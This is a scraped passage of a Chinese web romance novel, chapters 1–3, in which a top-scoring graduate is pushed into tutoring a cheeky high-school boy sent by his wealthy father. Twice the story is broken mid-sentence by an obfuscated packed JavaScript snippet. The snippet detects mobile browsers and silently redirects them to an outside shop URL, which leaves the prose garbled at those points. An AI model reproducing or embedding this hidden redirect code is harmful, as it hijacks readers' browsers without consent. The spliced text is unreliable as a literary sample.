《网恋对象住隔壁》 1. Chapter 001 省状元 2017年,高考落下帷幕数日,志愿填报的通道相继开通。 十二载寒窗苦读终于在此刻迎来了大结局。 闷热的风沾染着黏腻的潮湿感,席卷整个嘉港省,四十度的高温预警持续数天,令人叫苦不迭。 栖淮市的七月里,“乐落”这两个字在任何所见之处鼎盛沸腾。 无论是主流媒体,还是街边小巷,人人口头相传。 这位刚满十八岁的女学霸,以731的高分打破省内有史以来的最高分记录,是整个夏天最浓墨重彩的一笔。 印着“乐落”的红色横幅,染红栖淮市的半边天。 街边的绿植耷拉着枝叶,蝉鸣无休止地叫嚣,正值人间盛夏。 空调外机乌拉乌拉玩命地转,外面酷暑室内如春。 书房里乳白色的百叶窗帘折叠,却还是挡不住烈阳,光从空隙里钻进房内,十平方米的小屋一览无余。 靠墙是一整排胡桃木的书柜,八列六行整齐摆放着各类书籍,上到幼儿读物下到外国名著,一应俱全展示着成长的过程。 靠里的一排加了一层玻璃,精致的礼物与合照占据了大半空间,最下面两层是各种奖杯与奖牌,略微凌乱地叠放在一起。 书柜旁。 黑白格子的躺椅上,乐落蜷缩着腿,窝成一团,安逸地躺在里面,浅浅地打了个哈欠。 阳光打在她柔和的五官上,泛着光泽的红唇,微微上挑,齐肩发垂落在耳侧,小鹿般明媚的眼睛望进屏幕里。 “落落你看!是大海!” 好友季今瑶兴奋的声音从话筒里传来,镜头跟着她手指的方向,画面越过落地窗对准大海:“望不到边际,碧海蓝天,这边真的好美!” 夕阳渐沉,霞光红透半天遍,铺撒在海面上,橙与蓝勾兑出水墨画。 海浪一波波席卷而来,拍打礁石的声响有节奏地传来,潮涨潮落,光是看着就将夏季的燥热消解干净。 季今瑶的兴奋从话筒里传来:“海风是咸的,人是自由的!” 摄像头反转,对准她泡澡后尚且还红彤彤的脸:“美景在眼,可惜佳人不在侧,要不是你晕车,我软磨硬泡也得把你带过来。” 乐落眯着眼笑:“托你的福,我在家就看到了。” 自从季今瑶踏上行程时,每到一个地方,吃过的饭看过的景,所有新鲜的玩意与不好的体验,都会实时拍成视频传给她。 她也算是云旅游了。 季今瑶的大眼睛不输还珠格格的小燕子,鬼灵精怪,活泼爱动,这会眼珠转了几圈:“你看到我朋友圈了吧。” 乐落“嗯”了一声:“我还点赞了呢。” 那则朋友圈的文案是“你是我的神”,配图是她的高考成绩,以及京大拟录取的档案状态。 季今瑶弯着眼:“国内TOP1的大学影响力就是不一般,这条朋友圈一发,我微信的消息都要炸了。” 乐落眉眼弯弯:“怎么说?” “那些早没联系的七大姑八大姨给商量好一样,消息和电话没停过。”季今瑶的眼神里露出嘲弄:“还想让我牵线搭桥,让我游说你给他们家耀祖免费补课,算盘隔着八百里都崩到我脸上了。” 不怪她不留情面,纯粹是她生活艰难那些年,向这些所谓亲戚寻求帮助时,得不到帮助就算了,就连同情都没有,全是冷嘲热讽。 风水轮流转。 她对这些嫌贫爱富的亲戚只剩下反感。 季今瑶轻哼一声:“这时候想起我来了。” 记忆中那些人冷漠的脸,还历历在目:“想当年我和我妈相依为命,那时候孤儿寡母那时候过得艰难,他们不雪中送炭就算了,还恨不得来踩一脚,巴不得让我们一辈子都抬不起头。” 乐落知道那段落魄日子的荒唐事,眼底闪过心疼:“别理他们。” 她只怕这些人影响季今瑶的好心情。 季今瑶无所谓地耸肩:“我不但要理,我还要恶心他们。” 她可不是以德报怨的圣母,有仇就算当场不能报,她也会找时机输出。 “我把他们都拉进家族群里,告诉他们看在亲人一场的面子上,我争取说服你,但只有一个名额。” 她狡黠一笑:“我二姨和三舅在群里掐了一上午,谁都不退让,最后我扔下一句不愿意影响大家感情利落退群,你别说,我现在看海都比昨天更蓝!” 以两人的感情,不过是互帮互助,没工具人之说。 乐落完全不介意,也跟着笑。 季今瑶转身,躺进豪华的大床里,话题又回到乐落身上。 “栖淮市是不是最近都是有关你的传说?高考算起来已经过去一个月,就连分数都出了半个月,可我一想到你那破纪录的分数,还是觉得不可思议,你怎么这么牛啊落落!” 理化生几近全满分,英语扣了一分,语文137分,每科成绩后面的全省排名满屏都是“1”。 史无前例。 季今瑶又翻了个身:“要不是你目标坚定选择京大,怕是海大和京大要为了你争取你打的不可开交。” 闻言,乐落的眼神黯淡了下。 其实很早之前,她的目标大学就是京大的医学院。这是她和姥姥的约定,只是这个愿望只实现的一半。 她抬手,不自觉碰了碰耳垂。 季今瑶注意到她的小动作,暗骂自己哪壶不开提哪壶。 她急忙岔开话题:“你倒是换手机号换得利索,那些编辑记者找不到你,把电话都打到我这里,还想让我当你的说客,说只要我把联系方式告诉你,就给我丰厚的报酬,老实说我要是意志不坚定,指不定就把你卖喽。” 高考分数出炉后,有些自媒体为了蹭这一波热度,无所不用其极,严重时小区外都有人蹲守。 乐落喜静,无论对方说得有多天花乱坠,她态度坚定不留任何余地。 大门不出二门不迈,甚至换了新的电话卡,才算是消停了。 “要是你卖的话,我可以帮你数钱。”她回过神,被逗笑翘着唇,歪着头看屏幕:“就是怕你舍不得。” 季今瑶听得心都要化了:“世界有你了不起!我要是男生,肯定被你迷得五道三迷,就算让你拒绝一万次,撞破南墙也回不了头。” 不等乐落害羞,她凑近屏幕。 直勾勾盯着屏幕里的人,试探道:“落落,你看着我的眼睛,网上那只野猴子没说要和你见面吧?” 她口中的野猴子是乐落的游戏好友,在初升高暑假时结识,当时她忙着处理家里一堆烂事,才让这人乘虚而入。 等她知道这号人物的存在后,两人在企鹅号的热聊火花都三位数了。她向来把乐落当成宝贝,一想到有人觊觎后,对这个未知名的潜在风险那是一万个不放心。 奈何乐落就像是着了道,每次都帮这只野猴子说好话。 这次也不例外。 乐落眼眨也不眨地对视,乖巧地摇头:“没有。” “还算他识相。”季今瑶轻哼一声。 乐落维护起人:“瑶瑶,他不是坏人。” “你怎么知道他不是?”季今瑶听见这句话神经再度绷紧。 她的脸怼在镜头前,目光灼灼带了些审视:“怎么?你看过他的脸?” 乐落看她防贼的模样,哭笑不得:“也没有,虽然我们没见过,可在网上也认识几年了,第六感告诉我他不是坏人,不然我也不会和他继续保持联系。” 季今瑶说到底也就是怕她吃亏:“俗话说不怕贼偷就怕贼惦记。” 她忍不住苦口婆心道:“就算是朝夕相处在一起几年,还知人知面不知心呢,坏人可不会把坏字写在脸上,更何况隔着屏幕,对面是人是鬼都不好说。” 乐落也算是能理解这份心情。 要是季今瑶在网上交友,她的戒备心只多不少,也会像这样恨不得把人八辈祖宗都挖出来考察一番。 季今瑶还在不停打着预防针:“落落不是我不相信你的眼光,只是现在网络世界太复杂,社会新闻上好多这样的事,我只是怕你受到伤害。” “我知道。” 乐落温软地应着:“放心,我肯定不会轻易答应见面这种事,我觉得现在的状态很舒服,而且你也知道他游戏技术很好,和他在一起玩游戏挺开心。” 季今瑶悠悠叹了口气:“我要是玩游戏厉害就好了,这样这只猴子都没有存在的必要了。” 乐落轻笑后又道:“瑶瑶你对我也很重要。” 季今瑶:“也?” 她很会抓重点,不满地嘟囔着:“那只臭猴子和我一样重要吗?” 乐落不擅长撒谎。 眼神飘忽了几圈,她还是说了实话:“你知道有段时间,我确实很消沉,他也遇到了一些类似的事,就有一种同是天涯沦落人的感觉。” “同是天涯沦落人,相逢何必曾相识。” 季今瑶话接得极快:“他要是安安心心当个合格的网友,我也能说服自己把他看顺眼,要是他别有居心,不把头给他打歪,我就不姓季!不对不对,说得我好像多想姓季一样!反正落落,他只要一提线下面基,你就得立刻告诉我。” 乐落心虚:“其实,就算是要面基,也没那么可怕,我们在网上也做了三年网友,多少也算知根知底。” 季今瑶审视的目光几乎要穿出屏幕。 乐落咽了下口水,越说越虚:“他也不是豺狼虎豹,就算是见了面,总不至于要吃人。” 这段时间,网友确实不止一次提过要面基,她有自己的顾虑,四两拨千斤的糊弄过去。 这事她没敢告诉季今瑶,不然别说旅游,季今瑶怕是要和她同吃同住才安心。 季今瑶对网上那只猴子的敌意,归根结底来源全在乐落的态度上:“落落,你老实告诉我,你是不是有点喜欢那只臭猴子?” 乐落没料到她这样问,表情片刻凝结,眼神左右漂移了几圈,经不住咳嗽了两声。 她胳膊上扬,覆在脖颈处,干笑两声道:“你,你瞎说什么……” 季今瑶了然:“我瞎说什么大实话是吧?” 她看着乐落这副小女孩姿态,敌意又叠加几层:“我看你这表情就知道我猜得没错,他肯定用花言巧语迷惑你了,不然你怎么会对一个还从来没见过的人产生好感。” 乐落抿了下唇,手指在膝盖上画圈,停顿了几秒,温吞吞替人开脱。 “没有花言巧语,就是些很正常的沟通,我们也算是交换过秘密的人,所以在我这里,他是有一点点,”她伸出手用大拇指和食指比划了下:“真的只有一点点的不同。” 季今瑶还想要说些什么,没出声就被打断。 “瑶瑶,我爸爸给我打电话,应该是有事。”乐落看了眼屏幕:“我先回个电话,晚些时间打给你。” 虽然有转移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854907|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题的嫌疑,但理由够充分。 季今瑶只得放人:“好,晚些聊。” 挂掉电话。 乐落长舒一口气,轻轻拍着狂跳的小心脏,双颊的热度也散去了几分。 连她也很难说清怎么会有种逃过一劫的感觉。 她甩甩脑袋,将杂念摔了个干净,给乐晋昀回了个电话。 电话很快接通。 乐晋昀的声音传了过来:“落落在家待着吗?” 乐晋昀是出了名的女儿奴,从乐落呱呱坠地开始,眼里心里全装着宝贝女儿。 平时含在嘴里怕化了捧在手心怕碎了,只要乐落一句话,上天摘星星也不是不可能。 也是律师这个职业忙得脚不沾地,最近又遇到了一个棘手的案子。 他不得已去了北深市处理工作,不然哪舍得让自家女儿一个人留家。 乐落应了声:“在家爸爸。” 乐晋昀一听见这软乎乎的声音,心都要化了:“爸爸这边工作还得处理一段时间,妈妈也去出外景了,不得已才把你一个人留在家里,你自己住的还习惯吗?” 乐落也不是才知道父母的工作繁忙。不过在她的记忆里,两人推不开工作同时外出那么长时间,这种情况还是少有。 “爸爸我已经过了十八岁生日,”乐落软糯的声音中夹带些强硬:“您以后不可以把我当小孩子看了。” “是是是,我家落落变成大孩子了。”乐晋昀向来不说反驳她的话:“还是让爸爸无比骄傲的好孩子,不像你哥哥整天不务正业,净做些让人不省心的事。” 乐落拧眉。 她听不得有人诋毁乐笙,哪怕那人是她的亲爸爸。 板起小脸,她严肃纠正道:“爸爸,我哥哥没有不务正业,电子竞技都是亚运会的项目了,您别总是刻板印象,思想要与时俱进。” “好好好,是爸爸说错话了。”乐晋昀乐呵呵妥协道,话音突然变弱,他的声音听得不再真切。 话筒里有别人的声音插进来,估摸着是工作方面的事。 乐落听不到动静时,等了半分钟,才试探着问:“爸爸您是有什么事要告诉我吗?” “爸爸这边有点急事要处理,先长话短说了。” 乐晋昀切入正题:“是对门家林伯伯,是他托我问你暑假有没有安排,他有位亲戚等开学就上高三,想让你帮忙补一下课。” 乐落沉默了几秒。 林伯伯比乐晋昀大十岁,儿子在国外定居,前两年夫妻俩跟着去国外照顾孙子。没搬走前,两家关系极好,过年都是一起包饺子。 她父母忙得找不到人的时候,姥姥遇到些重力活都是林伯伯帮忙,尤其是姥姥身体不好那几年,林阿姨一搭手就是帮忙了好几年。 乐晋昀没听见她的声音,只当她为难:“落落,你要是不愿意也没关系,爸爸去给林伯伯说,他会理解的。” 乐落权衡再三,才道:“没事,反正我假期也没事做。” 乐晋昀一喜:“那行,你们先见一面,这女孩好像叫燕燕,电话里说的,我也不知道是哪个字。” 他知道自家女儿的性格,不擅长与陌生交际,可眼下马上要读大学,他难免担心乐落适应不了新环境,家教也算是锻炼的好机会。 来不及高兴,在同事的催促声中,他只草草地安排了一句:“等你见了她,要是觉得不合适,就告诉爸爸,林伯伯那边我会去说。” 乐落应了声:“知道了爸爸,您先去忙吧,我这边看情况。” 挂断电话,她将手机放在一旁,脑袋靠在躺椅上,上下身用力摆动,躺椅紧跟着前后摇动。 发自内心来说,她不太想与陌生人接触。 只是林伯伯帮她家那么多忙,难得打越洋电话麻烦她,她不想用一句借口随意打发。 反正闲来无事,就当是还之前的恩情。 十分钟后,门铃突兀地响起。 乐落直起身体,秀眉轻蹙,补课的学生吗? 应该不是,如果是未免也来得太快了些。 她摇了摇头,猜测着应该是前两天买的快递到了,只疑惑了下快递小哥这次怎么没事先打电话,就起身去开门。 等她拿着黑色水笔,趿拉着小熊拖鞋来到门口。 门开了一条小缝,纤细的胳膊探出去,她报了手机尾号和名字,伸出右手就要签收快递。 “嗯?”上扬的尾音带着少年的清洌。 等她抬起头,再出口的声音刻意拉长,慵懒的声调里藏着调侃:“什么意思?” 眉峰剑目,骨相优越,黑色帽檐压着额间碎发略遮住左眼眉梢。 少年不知从哪里裹来一阵清风,徐徐而来。 空气里的燥热无端压下去几分。 乐落冷不丁收回手,门缝的空隙小了三分之一,她沉默半晌,干巴巴地挤出一句:“我以为是快递。” 对面开口即暴击:“哦,介绍下,我是林叔叔介绍来补课的学生。” 一米八三的男高身着白T配黑色工装裤,把松垮的衣服撑出男高的氛围感。 他散漫地靠在门旁,上下打量她几眼,似乎在判断她是谁。 透过门缝,见到自己肩膀女孩的脸上茫然和警惕,像是刚上完“不要给陌生人开门”普法课的初中生。 他有了判断,像哄小孩般,弯下腰,优哉游哉地开腔:“小不点,帮我叫下你姐姐。” 2. Chapter 002 二世祖 二世祖,还是没多少礼貌的二世祖。 不就是快要上高三的小屁孩,竟然叫她小不点。 乐落压着心里的不满,偏偏还得仰着脖子看他,烦躁地用食指不停按动手里的水性笔。 伴随着咔嚓的按动声,她紧跟着开口:“不用麻烦了,我就是你要找的姐姐。” 闻言,男高中生乌黑的眼瞳里盛满了怀疑。 眼尾下挑,视线像是长了脚,从她的头顶到脚下,上下扫了好几遍。 乐落的头发不长不短只挨到肩膀,额间刘海遮不住明眸大眼,她薄唇紧抿,憋了一口气似的,脸颊因情绪不自知地鼓着几分。 蓬松的袖子收在手腕上方,蓝色的圆领小衬衫收进明黄色的裙子里,裙摆只到膝盖处,白皙的小腿踩着一双带着小熊配饰的洞洞拖鞋。 迪士尼公主的多巴胺配色,顶着幼态十足的五官,就算大摇大摆走进初中校园,门卫大叔也会轻易放行。 少年显然不信,视线越过她朝着客厅瞧了瞧,也没看见其他人。 等视线重新回到她身上时,说出口的话仍是疑问句:“你是乐落?” 尾音上抬,明显的疑问句。 乐落讨厌被人当做小孩,尤其对方是还没自己大的小孩。 在接二连三的质疑声里,她实在挤不出什么笑容:“对。” 她浅浅吸了一口气,脖子上扬,盯着对面细长的眸子,一字一句道:“所以,你才是小,不,点。” 少女仰着头,茶色的眼眸上移,眼眶中眼白比例上挑。 像只踩到尾巴炸毛瞪着肇事者的猫。 五官中和了她的怒气,连同杀伤力跟着减半。 少年本想笑,但想着有求于人,只得调整站姿,装得知错就改的模样。 端正态度后,他再没了吊儿郎当,连称呼都改了:“老,小老师您好,我是林叔叔的表侄汀砚,来之前我就听林叔叔说你是个学霸,” 他顿了下:“果然闻名不如一见。” “……” 闻名不如一见。 不如不见。 乐落本来就不想与陌生人接触。 乐晋昀提这件事时,她还以为对方是个乖巧的小学妹,想着举手之劳,顺便还林伯伯的恩情。 此刻,她仰着脖子,看着流畅的下颌线,对上那双戏谑的桃花眼,心情一沉再沉,直至跌入谷底。 冷脸,她当场反悔道:“我没同意要教你。” 事情完全超出她的预想,她需要重新考虑这件事的可行性。 补习功课这种事,也讲究眼缘,就像开学见到新老师的那一刻,就决定了整学年对这一学科的喜恶。 而她和眼前这位第一眼就把她当作小孩,在日后的教学中,难免会对她不服气。 哪怕表面装的尊重,她也自认为还没能力降得住眼前的人。 这件事不可行。 是她目前得出的结论。 可对方显然不这么认为。 狭长的黑眸眯了眯,一副酝酿坏主意的模样。 乐落屏住呼吸,警戒警报拉响。 等着对手出招。 汀砚没急着开口,先是微微弓着腰,减缓两人身高差距带来的俯视视角:“小老师,我是从桐宜市过来的,这一路也算是跋山涉水。” 他扯了个看似不相关的话题,见乐落疑惑地看他,才又继续:“听我林叔说,他家对门是这一年的省状元,我爹就命我马不停蹄地过来,兜兜转转才有这一面。” 乐落:“……” 所以呢?她没听出重点。 汀砚站直,字正腔圆:“也算是有缘分,别的不说,把我拒之门外也太狠心了。” 乐落警惕道:“那你想干什么?” 门缝又关了三分之一。 汀砚侧着头朝着屋内望了一眼:“有点口渴,进屋喝口水的要求应该不会被拒绝吧。” 乐落:“……”她很想拒绝。 只是远来是客,何况中间有林伯伯的关系。 她犹疑了下,不情愿地让出一条缝:“进来吧。” 两人意见不统一,并且双方都没有让步的意图。 总归是要好好说清楚。 汀砚侧着身进房间里,逼仄的玄关处挤下两个人。 少女的发香飘进鼻尖,距离犯规,他没和异性有这么近距离的接触,不自觉放慢呼吸。 他接过乐落递过来的鞋套,斜靠在柜子上,往脚上套。 等站起身,低头就看到乐落从面前走过,一晃而过时,视线落在乐落圆圆的发顶。 性格使然,与他熟识的女生大多是女汉子的风格,乐落是头个能与娇小划上等号的女生。 油然而生的是一种新鲜感。 他眼神追着乐落到达门口,就看到乐落正站在门口,右手扶着门框,此刻门关上一半,停在半开半合的状态。 “别,”他出声阻拦:“孤男寡女,开着些门,我们彼此都有安全感。” 乐落是纠结着是否关门。 虽然对方是林伯伯的熟识,但防人之心不可无。 体型力量摆在眼前,万一真有什么意外,吃亏的肯定是她。 可也算是邀请,对方是客人。她把防备写在明面上,再加上对方没任何想法,显得自己想得太多。 但,她怎么也没想到,汀砚会说出害怕她耍流氓的暗示。 简直就是倒反天罡。 她不可置信转过身,翻译着他的潜台词:“你担心我对你做些什么?” 她眼也不眨地盯着对方,企图在对面那张脸上找到开玩笑的迹象。 没有。 完全没有。 汀砚戴好鞋套,朝着她走了两步。 他抬手,轻松越过她。 伸手,他轻松将虚拢的大门开到最大:“小老师,也不是我不信任你,纯粹是我人生地不熟,万一真出了点什么事,我报警都说不出准确位置。” 在乐落放大的瞳孔中,他眼底笑意蔓延:“还请你能理解。” “……”乐落张了张嘴,憋红了脸也说出一句话。 是他脸皮太厚,还是她承受力太低。 亦或者她见识太少了,自小到大,还从未见过这种类型的人。 她深呼一口气,抬脚就走向客厅,从冰箱里拿出一瓶矿泉水。 她重重地放在茶几上,宣泄情绪的同时,也在表达态度——她绝不改变主意。 坐到里侧的沙发上后,她下巴朝着另一侧的沙发一抬:“坐吧。” 汀砚笑着,知道她在宣示主权。 他慢悠悠坐进沙发里,说了声“谢谢”,便将水瓶打开,象征性地喝了一口水。 从门口到沙发的时间,他不动声色地打量着屋内的布置。 这边与市里繁华地区隔了一条街的距离。 与日新月异的高楼大厦相比,这边的老区没有楼梯,设施陈旧,算是被时代抛在后面的老城区。 与外墙脱落的墙壁不同,屋内整洁温馨。南北通透的客厅光线极好,白色的纱帘有隐隐的阳光渗进来,落在黄蓝相间的沙发上。 等矿泉水瓶重新落到茶几上。 乐落才启唇:“家教这件事我考虑清楚了,我不行,你这边重新找人吧。” “我也想啊。”汀砚倒没惊讶,摊手,表现得比她还无奈:“可你也知道,嘉港省状元只有你一个啊。” 乐落眨了眨眼睛,语气没有起伏:“省状元只是自己会考试,不一定会教别人考试。” 汀砚耸肩:“这我也知道,但是我不在意,成绩能不能提高,那是我的事。” 乐落没等开口,话堵在喉咙口就被人截断。 汀砚:“我知道你想说,愿不愿意教,那是你的事。” 他刻意停顿,找准时机,赶在她开口前说出她的台词。 他垂眸,话音间盛满落寞:“小老师,我这大老远的从村里搭我二姨家的车去镇上,又从镇上去县里,坐火车赶到市里,又坐了两三个小时的高铁,从高铁站下来打了个出租,半小时这才见到你。” 乐落轻咬着下唇,秀眉轻皱,突如其来的卖惨让她招架不住。 她眼神又扫了一遍对面。 汀砚宽肩窄腰,一身行头看来是穿搭不菲,就算有身高气质加持,脚上这双限量版的板鞋,她可在见过乐笙宝贝的擦了一遍又一遍。 毫无疑问,对方在扮可怜。 没等她戳穿,中断的表演还在继续。 “我全家都等着我光宗耀祖,所有的希望都在我的身上。” 汀砚长叹了口气,他垂着视线盯着自己的鞋,话张口就来:“我这一求学路也算得上跋山涉水,没有功劳也有苦劳,你就当看在我可怜的份上,给我补一个月的课,我好给家长一个交代。” 可怜巴巴,垂头丧气,像只等人收留的小狗。 尤其在这张脸的加持下,很难有人都扛得住这波攻击。 只可惜太晚了。 第一印象太重要。 推开门时,少年明晃晃的笑像是一把铁锤,将眼前的伪装粉碎。 乐落盯着茶几上那瓶矿泉水。 水量仍在瓶口处,几乎没变的水量。 她动摇的眼神变得坚定,沉着声音:“来回的车费我帮你报销。” 这次换汀砚哑然。 显然卖惨这条路走不通。 他脸上没了方才的哀戚,又切换到刚见面时的腔调,散漫的、拖着尾音、语调闲闲地:“小老师,人不大,心倒是格外的狠。” 乐落抬眸,与他对视:“我教不了。” 干瘪瘪没有诚意的四个字。 丝毫没有动摇当事人。 汀砚原本是被要求这么做,接二连三地拒绝,反倒是激起他的逆反心。 他上半身朝后倾斜,后腰靠在抱枕上,眼神恣意:“小老师我都叫了好几遍,你总得教我点什么。” 乐落差点让这歪理气笑:“照你这么说,你要是再多叫几声,我还得为你余下的人生负责。” 汀砚混不吝地开口:“一个月就行。” 他像是听不懂潜台词:“还好你遇到的是我,要是遇到了流氓,后果可真不堪设想,指不定就赖上你了。” 乐落唇线崩成一条直线。 迄今为止的人生里,她从未有像现在这样吃瘪。 但她还是那句话:“我,教,不,了,你!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854908|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汀砚当起了人生导师:“凡事都要试一试,你不试一下你怎么知道你不行呢?” 得,对牛弹琴。 乐落耐心耗得差不多,懒得纠缠:“我不想试,也不会试,这件事我会让我爸给林伯伯说清原因,你另请高明。” “可我非你不可。”汀砚歪着头看她,话说得半真半假。 迎上乐落看过来的目光。 他唇角挂着笑,用玩笑的语气说着认真的话:“一次不行那我就两次,两次不行就来三次,刘邦三顾茅庐请诸葛亮,只要心诚,我相信小老师也会被我感动。” “是刘备。”乐落下意识纠正,话音刚落,就意识到上当。 果然。 汀砚似笑非笑地看着她:“小老师你看,逢错必纠,你已经具备了当老师的素养。。” 乐落黑白眸里写满了情绪:“我是和你有仇吗?” 怎么就非她不可了。 汀砚摇头:“没有,你对我有恩,对我全家都有恩。” “……”话不投机半句多。 乐落不想把时间浪费在白费口舌这件事上,索性站起身要赶客:“该说的话我都说了,请你离开。” 汀砚没动:“小老师难道没听说过一句话吗?” 乐落耐着性子重复道:“我不想听,请你离开。” 汀砚丝毫不受影响,身体的重心朝沙发后椅去,笑得格外欠扁:“请佛容易送佛难。” “你!”乐落有种一拳打在棉花上的无力感。 拳头握紧又松开。 要不是打不过这人,她这拳没准真会砸在眼前这张欠揍的脸上。 生气,愤怒,气急了也只憋出一句:“无赖!” 汀砚没否认:“无赖也有难言之隐。” 他坐在沙发上,乐落站着,这次换仰视的人变成他。 趁着死皮赖脸得来的机会,他眯着眼睛,重新提起酬劳:“我是真心实意要和你谈,只要你肯教,价钱不是问题,一万不行就两万,随你开口。” 乐落冷冷地扯着唇线:“不是钱的问题。” 汀砚的腿慵懒地支在地上,手指在膝盖处敲打,话说得毫不含糊:“三万。” 乐落小弧度咽了口水。 她不是财迷,只是最近真的需要钱。 还有一个月就是季今瑶的十八岁生日,在她成人礼上季今瑶送了一个好几万的奢侈品包,尽管季今瑶一再重复她是有钱没处花,让她不必对此有负担。 可季今瑶的十八岁生日,她也想送一份有意义的礼物。 左挑右选,她选中卡地亚的一款手镯。时尚好看寓意也好,唯独是价格不亲民。 她家庭条件不说富裕,但小康水平总是有的。 加上父母从小时候就有培养她支配金钱的意识,生活费给得多,压岁钱也交给她自由支配,更何况她成绩好,奖学金拿到手软。 她也没有太大的消费欲望,账户里面钱只进不出,高考成绩公布后,学校奖励的大额奖学金也到账,零零总总,存款离七位数就差一年的压岁钱。 只是乐笙最近到了些麻烦事。 老东家的合约到期正值转会,不承想年少时签订的合同存在隐含霸王条款,需要赔偿一大笔违约金才能继续打比赛。 家里原就对乐笙打游戏持消极态度,认为乐笙当职业选手不靠谱,无奈乐笙再三坚持,才不得不妥协。万一知道这件事,只怕中立态度会随之发生转变。 乐笙也不希望父母担心与干涉,选择独自承担巨额违约金,到处找人周转资金。 就连她也是从八卦谣传中得知情况,想也没想就把手里能支配的钱都不由分说打进了乐笙的卡里,这才会囊中羞涩。 汀砚看出她的犹豫,终于找到突破口。 趁热打铁的同时,他又递上台阶:“不是我死皮赖脸,我有不得不这么做的苦衷。” 乐落注意力被拉回来,不解地望向他。 “像非洲猎豹,目光凶险,在热带草原,猎物出现……” 手机的铃声打破两人的对视。 汀砚从裤兜拿手机,低头瞬间没注意到乐落脸上一闪而过的诧异。 这首名为叫《触发》的歌曲,是她添进歌单最近常播放的曲目,她还特意分享给季今瑶,当时还被季今瑶调侃说她成年就是不一样,歌单都跟着成年了。 乐落当时不明白什么意思,特意搜了下,最后红着脸回来了。 唱作人是炙手可热的顶流,平时在学校没少听歌手的名字,也算是安利来的路人粉,她也很喜欢他的曲风,歌单里十首有八首都是他的歌。 只是,没想到这首歌会是汀砚的来电铃声。 他们两人明明不对付。 竟然会听同一首歌。 汀砚看了眼屏幕,像是早有心理准备。 “我就知道,”他懊恼地嘶了一声,把屏幕正对着她摇摆了两下:“说什么来什么,这不,苦衷来了。” “玉皇大帝”四个字落在乐落的眸子里。 也许是好奇,也许是铃声是她喜欢的歌,她又坐回到沙发里,冷硬的态度缓和三分。 与其说给他机会,不如说她想看看汀砚还有什么后招。 3. Chapter 003 大老板 手机接通。 汀砚直接开了外放。 听筒里是嘈杂的背影音,没几秒就被一道声音盖过,是属于中年男人粗犷的声音。 没有寒暄,直入主题:“事办得怎么样了?” 不问过程只看结果,一听就是大老板的做派。 汀砚看了眼乐落,对方短暂的惊讶,意识到他的视线后,重新恢复面无表情。 他挑眉,慢吞吞地搭腔:“不怎么样,人没打算收我。” “怎么回事?” 隔着屏幕都能想象到中年男人眉间夹死蚊子的不满:“去之前我不是安排你要讲礼貌,那学霸怎么说?是不满意价钱吗?我一早就告诉你只要不超过六位数随便谈,超过六位数先答应,再来告诉我吗?” 乐落在一旁听得咋舌。 六位数,她倒还不知道自己这么值钱。 汀砚闻言哀叹了一句:“爹你还是小看状元了,人家又不是掉进钱眼里,一听见钱就不顾什么原则了。” “我不管你用什么原因,必须把人给我拿下了。” 冷硬的,命令的,不容拒绝的。 说话的正是汀砚的父亲汀建宏,早几年靠拆迁款起家,这些年东奔西走,生意越做越大,这老总当惯了,对自家儿子说话也经常是上位者的语气:“你妈可说了,我必须得给你找个靠谱的家教,等明年你考上好大学,才考虑能不能原谅我的事。” 压力外包,他一股脑全抛给了自家儿子 他停顿了下,语气没那么生硬,打起感情牌:“咱们全家以后年夜饭还能不能在一张桌子上吃饭,就靠你了,好儿子。” 汀砚并不买账:“您这话说的,” 他并没有因为乐落存在而遮掩,坦荡的不像话:“这问题也不是出在我身上,当年您要没有精神出轨,至于把自己的亲儿子豁出去,给您擦屁股吗?” 手机里的分贝扩大两倍:“臭小子!!你这都是听谁说的屁话。” 汀砚皱着眉,手指对着音量减小量连按了两下。 汀建宏中气十足的吼着人:“你爹我从来只喜欢你妈一个人,是你妈疑心病犯了,怎么解释都解释不清楚,软硬不吃,就知道给我下命令,稍微不如她的意,张口闭口就拿离婚说事,你以为我闲得蛋疼,乐意天天追在你屁股后面管东管西。” 汀砚余光观察着乐落,看对方听得入神,挑了挑眉:“您是我爹,让我干什么我都没意见,只是现在主动权不在我这里,我回家自学也成,人家不乐意教我,我有什么办法。” “不乐意就想办法让人乐意。”汀建宏一锤定音:“一万不行就两万,两万不行十万,放心儿子,爹没别的本事就是有钱。” 乐落听得脑袋发懵。 信息量巨大,她反应了好一会才理清因果。也就是刚见过面的关系,没想到汀砚会当着她的面说这些私密的事,全当她空气,完全没有避开她的打算。 不过这父子俩真是习惯用钱解决问题的思维,说出来的话都一模一样。 一万不行就两万。 这口气听着还真是有够暴发户的。 汀砚与乐落对视一眼,两人各有各的想法。 他悠悠开口:“我都说了人家状元不在乎你这两钱。” “那你自己想办法。”汀建宏解决问题也很粗暴,当起甩手掌柜:“反正事必须给你爹办成,我和你妈的幸福全在你手里掌握着。” 汀砚学着乐落拒绝的话术,将问题推给汀建宏:“非得让她做我的家教吗?” 乐落有句话说得不错,只有钱管够,有的是人愿意给他辅导功课。 汀建宏态度很坚决:“人家是状元,你还挑上了?” 他停顿了下:“我发动了身边所有的人脉,才在你林叔那里得到她的联系方式,为了你能考上好大学,我算是把这张老脸豁出去了,才让你林叔答应帮忙搭线,这件事必须办成,没得商量,你要是办不成,我就亲自办,总之一句话,一定要让小姑娘同意收了你。” 他吃了没学历的苦。 